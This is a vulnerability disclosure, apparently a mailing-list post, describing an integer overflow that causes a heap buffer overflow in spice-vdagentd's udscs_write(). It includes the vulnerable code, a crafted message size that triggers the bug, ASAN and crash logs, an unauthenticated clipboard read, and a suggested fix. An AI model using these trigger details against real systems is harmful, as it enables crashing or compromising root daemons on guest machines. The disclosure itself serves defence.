# Finding 2: Integer Overflow in udscs_write() → Heap Buffer Overflow
(CRITICAL)

**CWE-190 (Integer Overflow) + CWE-122 (Heap Buffer Overflow)**
**CVSS 3.1: 9.6** (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
**Affected:** All platforms (code is in shared `src/udscs.c`)
**ASAN-confirmed:** heap-buffer-overflow

## Root Cause

`src/udscs.c:141,144`:

```c
guint buf_size; // unsigned int (32-bit)
buf_size = sizeof(header) + size; // sizeof(header) = 16
buf = g_malloc(buf_size);
memcpy(buf, &header, sizeof(header));
memcpy(buf + sizeof(header), data, size);
```

When `size >= 0xFFFFFFF1`:
- `buf_size = 16 + 0xFFFFFFF0 = 0x00000000` (integer overflow wraps to zero)
- `g_malloc(0)` returns a valid tiny allocation (1 byte)
- `memcpy(buf + 16, data, 0xFFFFFFF0)` writes ~4GB past the end of the
buffer

The trigger path is through `VDAgentMessage.size` in clipboard or file
transfer messages from the SPICE host. Size validation at `vdagentd.c:572`
only checks `>= min_size` with no upper bound.

## Trigger Path

```
[Malicious SPICE Host] [spice-vdagentd (root)] [agent]
│ │ │
│ VDIChunk{port=2,size=88} │ │
│ VDAgentMsg{type=CLIPBOARD, │ │
│ size=0xFFFFFFF0} │ │
│ + 64 bytes payload │ │
│-------virtio----------------->│ │
│ │ reads msg from virtio │
│ │ msg.size = 0xFFFFFFF0 │
│ │ │
│ │ udscs_write(agent_conn, │
│ │ data, 0xFFFFFFF0) │
│ │ │
│ │ buf_size = 16+0xFFF... │
│ │ = 0x00000000 │
│ │ g_malloc(0) -> tiny buf │
│ │ memcpy(buf+16,data,4GB) │
│ │ *** SIGBUS/SIGSEGV *** │
│ X ROOT DAEMON DEAD │
```

## ASAN Proof

```
==15043==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000d1
WRITE of size 16 at 0x6020000000d1 thread T0
#0 __asan_memcpy+0x330 (libclang_rt.asan_osx_dynamic.dylib)
#1 vulnerable_udscs_write+0x174 (udscs_overflow_asan)
#2 daemon_process+0x2f4 (udscs_overflow_asan)

0x6020000000d1 is located 0 bytes after 1-byte region
[0x6020000000d0,0x6020000000d1) allocated by thread T0 here:
#0 malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib)
#1 vulnerable_udscs_write+0x100 (udscs_overflow_asan)

SUMMARY: AddressSanitizer: heap-buffer-overflow in
vulnerable_udscs_write+0x174
```

## Normal Build Proof (SIGBUS)

```
$ ./udscs_overflow --simulate
[DAEMON] Message: type=7 size=0xfffffff0
buf_size = 0x00000000 (0) ← INTEGER OVERFLOW!
malloc(0) -> 0x100781680 (tiny allocation)
memcpy(buf+16, data, 0xfffffff0) — HEAP OVERFLOW IMMINENT!

*** DAEMON PROCESS CRASHED ***
Signal: 10 (SIGBUS)
```

## Host-Side Trigger PoC (3 Modes)

`spice_host_heap_trigger.c` provides three trigger modes:

**Mode 1: `--qemu-chardev`** — Connects to QEMU's exposed virtio serial
port socket, sends crafted VDIChunkHeader + VDAgentMessage with
`size=0xFFFFFFF0`.

**Mode 2: `--pipe-sim`** — Fork-based: parent (host) writes crafted message
through pipe → child (daemon) reads, calls `udscs_write()` → CRASH.

```
$ ./spice_host_trigger --pipe-sim
[HOST ] Sending crafted clipboard message:
[HOST ] VDIChunk: port=1, size=84
[HOST ] VDAgentMessage: type=CLIPBOARD, size=0xfffffff0
[HOST ] Payload: 64 bytes (but size claims 0xfffffff0)
[DAEMON ] VDAgentMessage: proto=1 type=4 size=0xfffffff0
[DAEMON ] Forwarding to agent via udscs_write(size=0xfffffff0)
[OVERFLOW] sizeof(header)=16 + size=0xfffffff0 = buf_size=0x00000000
[OVERFLOW] malloc(0) -> 0x105305ab0
[OVERFLOW] memcpy(buf+16, data, 0xfffffff0) -> CRASH IMMINENT
[RESULT ] DAEMON CRASHED: signal 10 (SIGBUS)
```

**Mode 3: `--reproduce`** — Direct call to vulnerable function with
overflow size.

## Guest-Side Clipboard Path Confirmation

The data path through `udscs_write()` was proven by requesting real host
clipboard:

```
$ ./spice_real_heap
[1] Auth bypass -> connecting to daemon...
[+] Connected (zero auth)
[3] Sending CLIPBOARD_REQUEST (type=3) to daemon...
[RECV] type=4 (CLIPBOARD_DATA) arg1=0 arg2=1 size=54

HOST CLIPBOARD DATA RECEIVED!
Daemon called udscs_write(size=54)
Data: "SPICE_VDAGENTD_HEAP_OVERFLOW_PROOF_BY_D0RKERDEVIL_2026"
```

Path: Mac Mini clipboard → UTM SPICE → virtio → daemon → `udscs_write()` →
attacker. For the overflow, a malicious SPICE host sends `size >=
0xFFFFFFF1` through this same path.

## Suggested Fix

```c
#define UDSCS_MAX_MESSAGE_SIZE (64 * 1024 * 1024) // 64MB reasonable max

if (size > UDSCS_MAX_MESSAGE_SIZE) {
syslog(LOG_ERR, "udscs_write: rejecting oversized message (%u bytes)",
size);
return;
}

guint buf_size = sizeof(header) + size; // now safe from overflow
```

## Attachments

- `udscs_write_overflow_poc.c` — Integer overflow reproduction (SIGBUS +
ASAN)
- `spice_host_heap_trigger.c` — Host-side trigger PoC (3 modes)
- `asan_heap_overflow_proof.txt` — Full ASAN output

## Author

Ashish Kunwar (@D0rkerDevil) — [email protected]
=================================================================
==15060==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x6020000000d1 at pc 0x00010294abb4 bp 0x00016dddb1b0 sp 0x00016ddda960
WRITE of size 16 at 0x6020000000d1 thread T0
    #0 0x00010294abb0 in __asan_memcpy+0x330 
(libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3ebb0)
    #1 0x000102025974 in vulnerable_udscs_write+0x174 
(udscs_overflow_asan:arm64+0x100001974)
    #2 0x000102025390 in daemon_process+0x2f4 
(udscs_overflow_asan:arm64+0x100001390)
    #3 0x000102024c6c in run_simulate+0x23c 
(udscs_overflow_asan:arm64+0x100000c6c)
    #4 0x000102024964 in main+0x134 (udscs_overflow_asan:arm64+0x100000964)
    #5 0x000188407da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

0x6020000000d1 is located 0 bytes after 1-byte region 
[0x6020000000d0,0x6020000000d1)
allocated by thread T0 here:
    #0 0x00010294d164 in malloc+0x78 
(libclang_rt.asan_osx_dynamic.dylib:arm64e+0x41164)
    #1 0x000102025900 in vulnerable_udscs_write+0x100 
(udscs_overflow_asan:arm64+0x100001900)
    #2 0x000102025390 in daemon_process+0x2f4 
(udscs_overflow_asan:arm64+0x100001390)
    #3 0x000102024c6c in run_simulate+0x23c 
(udscs_overflow_asan:arm64+0x100000c6c)
    #4 0x000102024964 in main+0x134 (udscs_overflow_asan:arm64+0x100000964)
    #5 0x000188407da0 in start+0x1b4c (dyld:arm64e+0x1fda0)

SUMMARY: AddressSanitizer: heap-buffer-overflow 
(udscs_overflow_asan:arm64+0x100001974) in vulnerable_udscs_write+0x174
Shadow bytes around the buggy address:
  0x601ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x601fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x602000000000: fa fa fd fa fa fa fd fd fa fa fd fd fa fa 00 04
=>0x602000000080: fa fa fd fd fa fa 00 00 fa fa[01]fa fa fa fa fa
  0x602000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==15060==ABORTING
╔══════════════════════════════════════════════════════════════╗
║  MODE 2: Full Daemon Simulation                            ║
║  Malicious Host → Daemon → udscs_write() → HEAP OVERFLOW  ║
╚══════════════════════════════════════════════════════════════╝

  Attack chain:
  [Malicious SPICE Host] → (virtio) → [spice-vdagentd]
     Sends VDAgentMessage       Reads msg, forwards to agent
     with size=0xFFFFFFF0       via udscs_write(size=0xFFFFFFF0)
                                → buf_size = 16 + 0xFFFFFFF0 = 0
                                → g_malloc(0) → tiny alloc
                                → memcpy(buf+16, data, 4GB)
                                → HEAP OVERFLOW → CRASH

[DAEMON] Reading from virtio (host_to_daemon_pipe)...
[DAEMON] Chunk: port=2 size=88
[DAEMON] Message: type=7 size=0xfffffff0
[DAEMON] Read 64 bytes of payload

[DAEMON] Forwarding to agent via udscs_write()...
[DAEMON] Using msg.size=0xfffffff0 from host (UNTRUSTED!)

    sizeof(header) = 16
    size           = 0xfffffff0 (4294967280)
    buf_size       = 0x00000000 (0)  ← INTEGER OVERFLOW!
    malloc(0) → 0x6020000000d0 (tiny allocation)
    memcpy(buf, &header, 16) — writing header...
╔══════════════════════════════════════════════════════════════╗
║  MODE 2: Full Daemon Simulation                            ║
║  Malicious Host → Daemon → udscs_write() → HEAP OVERFLOW  ║
╚══════════════════════════════════════════════════════════════╝

  Attack chain:
  [Malicious SPICE Host] → (virtio) → [spice-vdagentd]
     Sends VDAgentMessage       Reads msg, forwards to agent
     with size=0xFFFFFFF0       via udscs_write(size=0xFFFFFFF0)
                                → buf_size = 16 + 0xFFFFFFF0 = 0
                                → g_malloc(0) → tiny alloc
                                → memcpy(buf+16, data, 4GB)
                                → HEAP OVERFLOW → CRASH

[HOST] Sending crafted VDAgentMessage via virtio...
[HOST] VDIChunk: port=2 size=88
[HOST] VDAgent: proto=1 type=7 size=0xfffffff0
[HOST] Payload: 64 bytes (but msg.size claims 0xFFFFFFF0)

[OBSERVER] Waiting for daemon process (PID 15060)...

╔══════════════════════════════════════════════════════════════╗
║  *** DAEMON PROCESS CRASHED ***                            ║
║  Signal: 6 (SIGABRT (Abort — ASAN detected))          ║
║  Root cause: udscs_write() integer overflow (udscs.c:141)  ║
║  Impact: Heap OOB write in root daemon process             ║
║  CWE-190 (Integer Overflow) + CWE-122 (Heap Overflow)      ║
╚══════════════════════════════════════════════════════════════╝

Attachment: udscs_write_overflow_poc.c
Description: Binary data

Attachment: spice_host_heap_trigger.c
Description: Binary data

Reply via email to